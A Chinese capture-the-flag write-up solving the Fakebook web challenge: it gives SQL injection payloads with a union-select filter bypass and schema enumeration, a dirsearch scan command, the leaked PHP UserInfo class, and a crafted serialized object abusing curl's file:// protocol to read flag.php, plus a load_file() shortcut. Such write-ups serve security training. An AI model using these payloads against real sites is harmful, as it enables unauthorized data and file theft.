考點1.sql注入
啟動靶機得到如下頁面:
發現有login和join兩個選項
Join就相當於注冊,注冊完它會自動登錄
然后來到如下頁面
我們注意到username下的字段是可以點擊的,點擊后跳轉到如下頁面
然后我們注意到url后面有個no=1的參數,猜測存在sql注入
加個單引號得到報錯
果然存在注入,其次發現它是個數字型的注入,使用2-1,得到1的回顯
然后,我們可以開始注入了
首先,使用order by測列數
在測到五列時報錯
說明只有四列
然后就可以使用union select 1,2,3,4看注入點
但我們發現被過濾了
然后我們使用union all select 1,2,3,4成功繞過
這里要注意需要把no=1改掉,不然得不到后面的回顯,這里把它改成-1
發現在2處存在注入點
然后注意到這里有個unserialize,猜測存在序列化,暫時不知道在哪需要序列化,先放着
在知道2是注入點后,我們開始測數據庫名
no=-1 union all select 1,database(),3,4
得到數據庫名fakebook
再測表名
no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到表名users
再測列名
no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
這里需要注意因為數據庫里不只這一個庫里包含users表,后面大寫的是其他數據庫里的users表內容
猜測信息在data里,測里面的內容
no=-1 union all select 1,group_concat(data),3,4 from fakebook.users
最后得到序列化后的結果
是我們注冊的賬號,且被序列化輸出
那就要考序列化了。一般不會讓我們自己猜,肯定會給源碼讓我們構造的。我們進行掃描
考點2.目錄掃描
我用的是dirsearch,在buu里進行掃描需要設置線程。
命令:
python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 #-u 掃描的url #-e 掃描的目錄后綴 #-t 設置掃描線程 #-x 排除指定的網站狀態碼(用逗號隔開)
查看robots.txt
訪問得到
下載后得到源碼
1 <?php 2 3 4 5 class UserInfo 6 7 { 8 9 public $name = ""; 10 11 public $age = 0; 12 13 public $blog = ""; 14 15 16 17 public function __construct($name, $age, $blog) 18 19 { 20 21 $this->name = $name; 22 23 $this->age = (int)$age; 24 25 $this->blog = $blog; 26 27 } 28 29 30 31 function get($url) 32 33 { 34 35 $ch = curl_init(); 36 37 38 39 curl_setopt($ch, CURLOPT_URL, $url); 40 41 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 42 43 $output = curl_exec($ch); 44 45 $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); 46 47 if($httpCode == 404) { 48 49 return 404; 50 51 } 52 53 curl_close($ch); 54 55 56 57 return $output; 58 59 } 60 61 62 63 public function getBlogContents () 64 65 { 66 67 return $this->get($this->blog); 68 69 } 70 71 72 73 public function isValidBlog () 74 75 { 76 77 $blog = $this->blog; 78 79 return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); 80 81 } 82 83 84 85 }
考點3.代碼審計
進行代碼審計,重點在這一塊
【*】curl_init : 初始化一個curl會話,供curl_setopt(), curl_exec()和curl_close() 函數使用。
【*】curl_setopt : 請求一個url。
其中CURLOPT_URL表示需要獲取的URL地址,后面就是跟上了它的值。
【*】CURLOPT_RETURNTRANSFER 將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。
【*】curl_exec,成功時返回 TRUE, 或者在失敗時返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER選項被設置,函數執行成功時會返回執行的結果,失敗時返回 FALSE 。
【*】CURLINFO_HTTP_CODE :最后一個收到的HTTP代碼。
curl_getinfo:以字符串形式返回它的值,因為設置了CURLINFO_HTTP_CODE,所以是返回的狀態碼。
如果狀態碼不是404,就返回exec的結果。
再來看看get函數在哪里調用
這里就清楚了,傳的參數是blog。
進行序列化,curl可用file協議,所以這里使用file協議讀取文件。file:///var/www/html/flag.php
因為源碼最后限制了blog的格式,所以我們只能使用序列化把blog注入進去
考點4.序列化
然后我們利用源碼構造序列化
1 <?php 2 class UserInfo 3 { 4 public $name = "2"; 5 public $age = 2; 6 public $blog = "file:///var/www/html/flag.php"; 7 } 8 $a=new UserInfo(); 9 echo serialize($a); 10 11 ?>
因為列名里面沒有blog,所以我們要設置的點就是data那里了,所以在第四列進行注入,需要把序列化的句子包在單引號里
構造payload:
no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
關於此處為什么可以注入,因為union select會創建一個虛擬存儲
例:
查看源碼
進行base64解碼
非預期解
還有個非預期解
使用load_file()函數,直接得到flag
payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
直接在源碼里得到flag
參考:[網鼎杯 2018]Fakebook_H9_dawn的博客-CSDN博客